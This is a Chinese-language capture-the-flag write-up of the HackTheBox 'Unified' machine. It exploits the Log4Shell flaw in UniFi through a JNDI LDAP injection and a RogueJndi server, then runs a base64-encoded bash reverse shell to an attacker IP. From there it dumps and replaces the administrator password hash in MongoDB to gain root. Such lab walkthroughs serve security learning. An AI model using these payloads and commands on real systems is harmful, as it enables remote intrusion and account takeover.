HTB_Unified_log4j_jndi注入mongodb修改用户hash

news2024/9/22 5:39:49

文章目录

    • 信息收集
    • 漏洞复现
    • 漏洞验证
    • 漏洞利用
    • 提权

信息收集

nmap -sV -v 这次扫描时间很长,因为默认只扫 1000 个常用端口,如果扫到大端口就会自动扫描全端口,可以自行加速

22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
6789/tcp open  ibm-db2-admin?
8080/tcp open  http-proxy
8443/tcp open  ssl/nagios-nsca Nagios NSCA

SSH 登录尝试失败,6789 端口是 db2 数据库的管理端口,8080 端口是个代理转发端口,访问会重定向到 8443 端口是 UniFi 6.5.54 产品的页面,发现该版本存在 CVE-2021-44228 漏洞

在这里插入图片描述

在这里插入图片描述

漏洞复现

尝试复现 CVE-2021-44228,曾经风靡一时的漏洞 Apache log4j,这是 java 比较常用的日志监控组件

原理就是我们创建一个恶意服务,服务器请求执行,达到控制的目的,以rmi为例

RMI是Java的一组拥护开发 分布式应用程序 的 API 。 RMI使用Java语言 接口 定义了远程对象,它集合了Java序列化和Java远程方法协议 (Java Remote Method Protocol)。 简单地说,这样使原先的程序在同一操作系统的方法调用,变成了不同操作系统之间程序的方法调用

RmiServer.java

package log4j_unser;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer {
    public static void main(String[] args) throws Exception{
        // 创建远程对象
        RemoteHelloWorld hello = new RemoteHelloWorld();
        // 创建注册表
        Registry registry = LocateRegistry.createRegistry(1099);
        // 将远程对象注册到注册表里面,绑定地址 远程函数实现的是执行弹计算器的命令
        registry.rebind("rmi://127.0.0.1:12345/Hello",hello);
        // registry.rebind("Hello",hello);
    }
}

RemoteHelloWorld接口

package log4j_unser;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteHelloWorld extends Remote {
    public String hello() throws RemoteException;
}

RemoteHelloWorld接口实现

package log4j_unser;

import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {
    protected RemoteHelloWorld() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public String hello() throws RemoteException {
        System.out.println("Callback");
        return "Hello";
    }
}

执行RmiServer.java
在这里插入图片描述

漏洞验证

请求登录接口

在这里插入图片描述

修改为

"remember":"${jndi:ldap://10.10.16.18/acxsc}"

在这里插入图片描述

目的是让服务器反向连接我们的攻击机,访问本机的方法

攻击机监听389端口,这是LDAP的默认端口,监听tun0网卡(与目标同一网络),成功连接,存在该漏洞

在这里插入图片描述

漏洞利用

准备payload,输出base64编码

echo 'bash -c bash -i >&/dev/tcp/10.10.16.18/4444 0>&1' |base64 
YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMTgvNDQ0NCAwPiYxCg==

搭建 ldap 服务器,传递 payload

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,BASE64 STRING HERE}|
{base64,-d}|{bash,-i}" --hostname "{YOUR TUN0 IP ADDRESS}"

在这里插入图片描述

发送数据,工具固定格式

在这里插入图片描述

连接成功

在这里插入图片描述

第二种获取交互式命令行的方法

script /dev/null -c bash

在这里插入图片描述

$flag
cat /home/michael/user.txt

提权

检查mongodb是否在目标机器上运行

ps aux | grep mongo

在这里插入图片描述

尝试读取管理员密码,UniFi程序的默认端口是ace,查询admin表的数据

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

在这里插入图片描述

x_shadow即是密码哈希, SHA-512 算法使用一个以 $6$ 开头的 16 字符字符串盐值进行散列

  • $6$开头的,表明是用SHA-512加密的;

  • $1$开头的,表明是用MD5加密的;

  • $2$开头的,表明是用Blowfish加密的;

  • $5$开头的,表明是用 SHA-256加密的。星号代表帐号被锁定

    ps:是在linux shadow文件才这么表示

由于是散列函数,无法破解,只能使用替换方法

// 加密PassWord1234
mkpasswd -m sha-512 Password1234
$6$YqozzJiM1m7BfLpC$DhsQOccAVLaHIeU3t8cinVUrDH.8SlqT5XsdFpTnq1pGKb.3BbxXP8UOaqiWNqNIEhULcX1YWBGnlHBpnzio..

每次加密会随机生成盐,用于加密

$6$YqozzJiM1m7BfLpC$DhsQOccAVLaHIeU3t8cinVUrDH.8SlqT5XsdFpTnq1pGKb.3BbxXP8UOaqiWNqNIEhULcX1YWBGnlHBpnzio..
$6$:使用sha-512散列函数
$YqozzJiM1m7BfLpC$:随机生成的盐
DhsQOccAVLaHIeU3t8cinVUrDH.8SlqT5XsdFpTnq1pGKb.3BbxXP8UOaqiWNqNIEhULcX1YWBGnlHBpnzio..:加密后的结果, linux中是86位

替换现有hash

mongo --port 27117 ace --eval 'db.admin.update({"_id":
ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"SHA_512 Hash Generated"}})'
# ObjectId("61ce278f46e0fb0012d47ee4")是管理员id

使用修改后的账号密码登录,在设置setting—>site中查看ssh密码,并远程连接,为 root 权限

ssh 10.129.145.178

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/188595.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Markdown语法-从基础到进阶

时代在进步,越来越多的人和软件开始使用Markdown进行文字编辑,其编辑方便性让很多人爱不释手。但是,不可避免的问题是,在编辑的时候,经常会需要去google,毕竟,习惯了office的可视化操作符号,很多…

在成都Java培训班学习五个多月有用吗?

不知道“有用”的标准是什么,是能入行上岗工作,还是想只通过几个月的培训一跃成为资深开发攻城狮?这里不得不给大家泼瓢冷水,短期培训能让你对口上岗工作就很不错了;想要成为技术大佬?大学里面四年都没能让…

2023年南京Java培训机构排行榜上线,犹豫的小伙伴们看过来!

2022年,JRebel发布了《2022年Java发展趋势和分析》,它通过调研问卷的方式总结的报告,涉及了不同国家、不同岗位、不同公司规模、不同行业,相对来说,该调查报告是有一定参考意义的。数据显示,Java这一语言在…

使用Chisel搭建Systolic Array

最近听到非常多人吹Chisel,为了方便快速做算法实现,就去尝试学了下,发现确实很香,有种相见恨晚的感觉。今天是使用Chisel搭建个脉动阵列(Systolic Array, SA)[1],脉动阵列是神经网络中最基础也是…

用递归玩转简单二叉树

前言: 数据结构学到二叉树,就进入到了有难度的部分了,但难度对应着重要性,其重要性也不言而喻了。这节我会介绍用C语言实现递归方法的二叉树的一些重要基本功能,在二叉树中又属于基础知识,有需要的各位必须…

下载CleanMyMac X有什么好处?最新版本有哪些新功能

CleanMyMac X 是一款先进的、集所有功能于一身的实用系统清理工具,它能帮助保持您的Mac保持清洁。只需两个简单的点击,就可以删除无用的文件,以节省您宝贵的磁盘空间。CleanMyMac X可以流畅地与系统性能相结合,清洁不需要的语言、…

EasyCVR新增角色分配分组功能的使用及注意事项

我们在此前的文章中分享过关于EasyCVR分组功能的更新,具体可以查看这篇文章:AI云边端EasyCVR平台新功能解析:支持为角色选择多级分组。今天我们来为大家介绍一下,新功能在配置时需要注意的事项。1、首先我们先简单回顾一下老版本的…

【Js】语法糖之数组解构和拆包表达式

文章目录数组结构拆包表达式来源数组结构 在ES5中:如果计划从数组中提取特定元素,就需使用元素的索引,并将其保存到变量之中。 在ES6中:新增数组解构功能,以简化获取数组中数据的过程。 数组解构采用了数组字面量的…

【SpringCloud复习巩固】Sentinel

sentinel 链接:https://pan.baidu.com/s/1lLJKBSDJNJgW5Lbru6NYrA 提取码:ut3g 目录 一.初识Sentinel 1.1雪崩问题及其解决方案 1.2认识Sentinel 1.3安装Sentinel控制台 1.4微服务整合sentinel 二.限流规则 2.1簇点链路 2.2流控规则 2.3流控效果…

从0~1实现 单体或微服务下 实现订单未支付超时取消功能 方案(2)-rocketmq 延迟队列方案 完整设计和源码

从0~1实现 单体或微服务下 订单未支付超时取消功能 方案(1)-java delayquene 注册中心(zookeeper/nacos)高可用方案从0~1实现 单体或微服务下 订单未支付超时取消功能 方案(2)-rocketmq 延迟队列方案 场景说明 我们日常接触的电…

IronPDF for .NET 2023.1 Crack

关于 .NET 的 IronPDF 创建、编辑和导出 PDF 文档。 IronPDF for .NET 允许开发人员在 C#、F# 和 VB.Net for .NET Core 和 .NET Framework 中轻松创建 PDF 文档。您可以选择简单的 HTML,或合并 CSS、图像和 JavaScript。IronPDF 呈现紧跟谷歌浏览器。 IronPDF 功能…

eclipse新手快捷键

1. ctrlshiftr:打开资源 这组Eclipse快捷键可以让你打开你的工作区中任何一个文件,而你只需要按下文件名或mask名中的前几个字母,比如applic*.xml。美中不足的是这组快捷键并非在所有视图下都能用。 2. ctrlo:快速outline 列出…

2023年深圳Java培训机构排名,不看后悔系列!

不忘初心,方得始终。2023,继续战斗!想要学习Java的小伙伴们看过来~深圳Java培训机构排名最新排行榜来了!靠谱的Java培训机构都在这里,总有一个你喜欢的,总能选出一个合适你的,快拿出小本本记下这…

【MyBatis】搭建MyBatis

1、MyBatis简介 1.1、MyBatis历史 MyBatis最初是Apache的一个开源项目iBatis, 2010年6月这个项目由Apache Software Foundation迁移到了Google Code。随着开发团队转投Google Code旗下, iBatis3.x正式更名为MyBatis。代码于2013年11月迁移到Github。iBatis一词来源…

2023年flash水坑攻击源码

1. 背景 在有授权的攻防演练中,很多时候都会用到水坑攻击或者钓鱼,目前flash钓鱼一直都在做,以前的版本中,提示flash版本过低是这样的: 下载界面是这样的(下图来源于互联网): 但是目…

javascript封装一个单向链表

单向链表 单向链表类似于火车,有一个火车头,火车头会连接一个节点,节点上有乘客,并且这个节点会连接下一个节点,以此类推。 链表的火车结构 链表的数据结构 head 属性指向链表的第一个节点。 链表中的最后一个节点指…

2023年郑州Java培训机构排名新鲜出炉,快来看看都有哪些!

郑州是一个很有发展潜力又极具竞争力的城市,很多大厂现在都在往二线城市转移,其中郑州就是一个很好的选择。所以想要在郑州有好的发展前景,就要不断提高自己的技术竞争力,Java软件开发就成为了不少小伙伴们想要提升价值技能选择的…

Pytorch 基础

✅作者简介:人工智能专业本科在读,喜欢计算机与编程,写博客记录自己的学习历程。 🍎个人主页:小嗷犬的个人主页 🍊个人网站:小嗷犬的技术小站 🥭个人信条:为天地立心&…

【职工管理系统】C++全栈体系(十五)

职工管理系统 第十一章 添加职工 功能描述:按照职工的编号进行删除职工操作 一、删除职工函数声明 在workerManager.h中添加成员函数 void Del_Emp(); //删除职工void Del_Emp();二、职工是否存在函数声明 很多功能都需要用到根据职工是否存在来进行操作如&…

基于Android的综合物流系统

需求信息: (1)后台管理平台 设计实现物流管理平台,完成对司机、所载货物、出发点、目的地、运输轨迹等的管理。主要研究的内容为前后端框架的选择,对系统信息的展示与管理。 数据展示:管理人员通过不同的筛…